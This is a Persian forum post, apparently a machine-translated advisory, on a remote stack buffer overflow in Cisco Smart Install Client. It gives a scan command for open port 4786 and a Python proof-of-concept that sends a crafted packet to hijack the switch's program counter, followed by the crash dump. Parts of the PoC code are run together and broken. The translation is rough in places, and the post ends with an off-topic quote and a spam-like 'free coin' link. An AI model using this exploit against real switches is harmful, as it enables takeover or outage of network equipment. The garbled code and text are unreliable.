1

موضوع: نصب و راه اندازی کد Smart Install از راه دور در سیسکو (Cisco)

آسیب پذیری Stack-based buffer overflow در کد Smart Install Client یافت شد. این آسیب پذیری مهاجم را قادر می سازد تا بدون نیاز به احراز هویت از کد دلخواه خود اجرا کند. بنابراین اجازه می دهد کنترل کامل بر یک دستگاه شبکه آسیب پذیر را کنترل کند.

Smart Install یک پیکربندی plug-and-play و قابلیت مدیریت تصویر است که برای سوئیچ های جدید ارائه شده است. این فرایند پیکربندی اولیه و بارگذاری تصویر سیستم عامل فعلی را برای یک سوئیچ جدید شبکه به صورت خودکار انجام می دهد. این به این معنی است که شما می توانید یک سوئیچ به یک مکان را ارسال کنید، آن را در شبکه قرار دهید و آن را بدون هیچ گونه تنظیم در دستگاه مورد نیاز و بدون یک مدیر، روشن کنید. این تکنولوژی همچنین یک نسخه پشتیبان از تنظیمات را هنگامی که تغییر می کند و hot-swapping broken فراهم می کند.

یک شبکه با استفاده از Smart Install شامل یک گروه از دستگاه های شبکه، شناخته شده به عنوان clients ، که توسط یک سوئیچ Layer 3 یا روتر که به عنوان یک مدیر عمل می کند، خدمت می کند.

http://s8.picofile.com/file/8323257268/typical_smart_install_network_big.png

director یک نقطه مدیریت واحد برای تصاویر و تنظیمات سوئیچ های مشتری را فراهم می کند. سوئیچ های مشتری دارای یک اتصال مستقیم یا غیرمستقیم به مدیر هستند تا بتوانند دریافت تصویر و پیکربندی را از آن دریافت کنند.

اطلاعات بیشتر در مورد تکنولوژی Smart Install در اسناد رسمی یافت می شود.
https://www.cisco.com/c/en/us/td/docs/s … cepts.html

آسیب پذیری به درستی در کد  Smart Install Client  است.
مهم است که توجه داشته باشیم که تکنولوژی نیاز دارد که به صورت پیش فرض روی مشتریان فعال شود. این واقعیت بر روی پوشش و تاثیر آسیب پذیری تأثیر می گذارد، اما بیشتر در این مورد زیر است.

شرح آسیب پذیری
SMI IBC Server Process حاوی کدهای اجرای Smart Install Client است.  Smart Install Client یک سرور در پورت TCP(4786) (به طور پیش فرض باز شده) برای برقراری ارتباط با Smart Install Director  انجام می گیرد.

هنگامی که این سرور پردازنده یک پیام مخرب خاص را پردازش می کند، ibd_init_discovery_msg یک stack-based buffer overflow  رخ می دهد.

دقیق تر، stack-based buffer overflow  در تابع smi_ibc_handle_ibd_init_discovery_msg :

http://s8.picofile.com/file/8323257576/smi_ibc_handle_ibd_init_discovery_msg.png

زیرا اندازه داده ها به یک بافر اندازه ثابت کپی نشده است. اندازه و داده ها به طور مستقیم از بسته شبکه گرفته می شود و توسط مهاجم کنترل می شود.

GeekPWN 2017 هنگ کنگ

این آسیب پذیری موفق به کسب جایزه G-Influence در GeekPWN 2017 هنگ کنگ پس از سوء استفاده موفقیت آمیز خود را نشان داده شده است.

درباره  GeekPwn به عنوان یکی از پلتفرم های پیشرو در جهان برای محققان امنیت سایبر، محققین امنیتی و مدیران در سراسر جهان را قادر می سازد تا افکار و یافته های خود را به اشتراک بگذارند. از سال 2014، GeekPwn با موفقیت 8 جلسه در پکن، شانگهای، ماکائو، هنگ کنگ و دره سیلیکون برگزار کرد و مسئولانه صدها آسیب پذیری امنیتی را افشا کرد و بیش از میلیون ها دلار به شرکت کنندگان اختصاص داد.

تحت شرایط مسابقه، لازم بود که به سوئیچ Cisco Catalyst 2960 حمله کند و دو شرایط را اجرا کند:
1.تنظیم مجدد یا تغییر گذرواژه را برای ورود به حالت EXEC :

https://www.youtube.com/watch?v=CE7KNK6UJuk

2.ترافیک را بین سایر دستگاه های متصل به سوئیچ و اینترنت متوقف کنید:

https://www.youtube.com/watch?v=TSg5EZVudNU

اطلاعات بیشتر در مورد تکنیک ها و روش های مورد استفاده برای ایجاد سوء استفاده برای این آسیب پذیری در تحقیق ما "How to Cook Cisco" می باشد.
https://embedi.com/blog/how-cook-cisco/

چگونه برای بررسی تجهیزات برای آسیب پذیری
اگر شما یک تجهیزات شبکه سیسکو با یک پورت TCP 4786 باز کنید، آسیب پذیر است. به منظور پیدا کردن چنین تجهیزات، به سادگی شبکه خود را اسکن کنید.

nmap -p T:4786 192.168.1.0/24

برای بررسی اینکه آیا تجهیزات شبکه یک نوع Smart Install Client است، دستورات زیر را وارد کنید:

switch>show vstack config
 Role: Client (SmartInstall enabled)
 Vstack Director IP address: 0.0.0.0

switch>show tcp brief all
TCB       Local Address           Foreign Address        (state)
0344B794  *.4786                  *.*                    LISTEN
0350A018  *.443                   *.*                    LISTEN
03293634  *.443                   *.*                    LISTEN
03292D9C  *.80                    *.*                    LISTEN
03292504  *.80                    *.*                    LISTEN

نتایج اسکن اینترنت
پس از شناسایی آسیب پذیری، تصمیم گرفتیم که آن را فقط می توان برای حملات درون شبکه سازمانی مورد استفاده قرار داد. از آنجا که در یک شبکه امن پیکربندی شده، شرکت کنندگان از تکنولوژی Smart Install نباید از طریق اینترنت دسترسی پیدا کنند.

اما اسکن کردن اینترنت نشان داده است که این درست نیست.

در طی یک اسکن کوتاه اینترنتی، ما شناسایی 250،000 دستگاه آسیب پذیر و 8.5 میلیون دستگاه که پورت آسیب پذیر را باز کرده اند.

احتمالا این اتفاق می افتد چرا که در مشتریان Smart Install پورت TCP(4786) به طور پیش فرض باز است و مدیران شبکه به نحوی متوجه آن نمی شوند.

سخت افزار / نرم افزار آسیب دیده

http://s9.picofile.com/file/8323258018/Cisco_Catalyst_Series_Switches.png

این آسیب پذیری در دستگاه های زیر بررسی شد: Catalyst 4500 Supervisor Engines ، Cisco Catalyst 3850 Series Switches Cisco Catalyst 2960 Series Switches .

[list]Cisco Catalyst 4500 Supervisor Engine 6L-E[/list]
      Cisco IOS 15.2.2E6 (Latest, Suggested)
              cat4500e-entservicesk9-mz.152-2.E6.bin (23-DEC-2016)
[list]Cisco Catalyst 2960-48TT-L Switch[/list]
      Cisco IOS 12.2(55)SE11 (Suggested)
             c2960-lanbasek9-mz.122-55.SE11.bin (18-AUG-2016)
      Cisco IOS 15.0.2-SE10a (Latest)
             c2960-lanbasek9-mz.150-2.SE10a.bin (10-NOV-2016)
[list]Cisco Catalyst 3850-24P-E Switch[/list]
      Cisco IOS-XE 03.03.05.SE
            cat3k_caa-universalk9.SPA.03.03.05.SE.150-1.EZ5.bin (03-NOV-2014)

علاوه بر این، تمام دستگاههایی که ممکن است در نوع مشتری Smart Install Client قرار گیرند، به طور بالقوه آسیب پذیر هستند. در اینجا یک لیست از آنها وجود دارد:

Catalyst 4500 Supervisor Engines
Catalyst 3850 Series
Catalyst 3750 Series
Catalyst 3650 Series
Catalyst 3560 Series
Catalyst 2960 Series
Catalyst 2975 Series
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUs
SM-ES3 SKUs
NME-16ES-1G-P
SM-X-ES3 SKUs

برای اطلاعات بیشتر لینک های زیر سر بزنید:

https://tools.cisco.com/security/center … smi2#fixed
http://cfn.cloudapps.cisco.com/ITDIT/CFN/jsp/index.jsp
https://www.cisco.com/c/en/us/td/docs/s … html#51890

اثبات مفهوم
زیرلیستی از PoC برای آسیب پذیری است:

# smi_ibc_init_discovery_BoF.py

import socket 
import struct 
from optparse import OptionParser 

# Parse the target options 
parser = OptionParser() 
parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1")  parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)  (options, args) = parser.parse_args() 

def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): 
    return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v 

def send_packet(sock, packet): 
    sock.send(packet)   

def receive(sock):  
    return sock.recv() 

if __name__ == "__main__": 

    print "[*] Connecting to Smart Install Client ", options.target, "port", options.port 

    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    con.connect((options.target, options.port)) 

    payload = 'BBBB' * 44  shellcode = 'D' * 2048 

    data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload 

    tlv_1 = craft_tlv(0x00000001, data)  tlv_2 = shellcode 

    hdr =  '\x00\x00\x00\x01'                                   # msg_from
    hdr += '\x00\x00\x00\x01'                                   # version
    hdr += '\x00\x00\x00\x07'                                   # msg_hdr_type
    hdr += struct.pack('>I', len(data))                         # data_length

    pkt = hdr + tlv_1 + tlv_2 

    print "[*] Send a malicious packet"  
    send_packet(con, pkt)

برای حمله به کلید، دستور زیر را اجرا کنید:

host$ ./smi_ibc_init_discovery_BoF.py -t 192.168.1.1

سوئیچ باید یک اطلاعات خرابی و راه اندازی مجدد را چاپ کند:

 00:10:35 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 1200, PC = 42424240
-Traceback= 42424240
Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15
=== Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:
...
Queued messages:
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE
(fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2016 by Cisco Systems, Inc.
Compiled Wed 17-Aug-16 13:46 by prod_rel_team
Instruction TLB Miss Exception (0x1200)!
SRR0 = 0x42424240  SRR1 = 0x00029230  SRR2 = 0x0152ACE4  SRR3 = 0x00029230
ESR = 0x00000000  DEAR = 0x00000000  TSR = 0x84000000  DBSR = 0x00000000
CPU Register Context:
Vector = 0x00001200  PC = 0x42424240  MSR = 0x00029230  CR = 0x33000053
LR = 0x42424242  CTR = 0x014D5268  XER = 0xC000006A
R0 = 0x42424242  R1 = 0x02B1B0B0  R2 = 0x00000000  R3 = 0x032D12B4
R4 = 0x000000B6  R5 = 0x0000001E  R6 = 0xAA3BEC00  R7 = 0x00000014
R8 = 0x0000001E  R9 = 0x00000000  R10 = 0x001BA800  R11 = 0xFFFFFFFF
R12 = 0x00000000  R13 = 0x00110000  R14 = 0x0131E1A8  R15 = 0x02B1B1A8
R16 = 0x02B1B128  R17 = 0x00000000  R18 = 0x00000000  R19 = 0x02B1B128
R20 = 0x02B1B128  R21 = 0x00000001  R22 = 0x02B1B128  R23 = 0x02B1B1A8
R24 = 0x00000001  R25 = 0x00000000  R26 = 0x42424242  R27 = 0x42424242
R28 = 0x42424242  R29 = 0x42424242  R30 = 0x42424242  R31 = 0x42424242
Stack trace:
PC = 0x42424240, SP = 0x02B1B0B0
Frame 00: SP = 0x42424242    PC = 0x42424242

لینک : https://embedi.com/blog/cisco-smart-ins … execution/

آلبرت اینشتین گفت: من از روزی میترسم که فناوری بر انسانیت ما پیشی بگیرد. آن روز جهان پر خواهد شد از نسل انسان های احمق.

پک کوین رایگان : http://yon.ir/MeYd8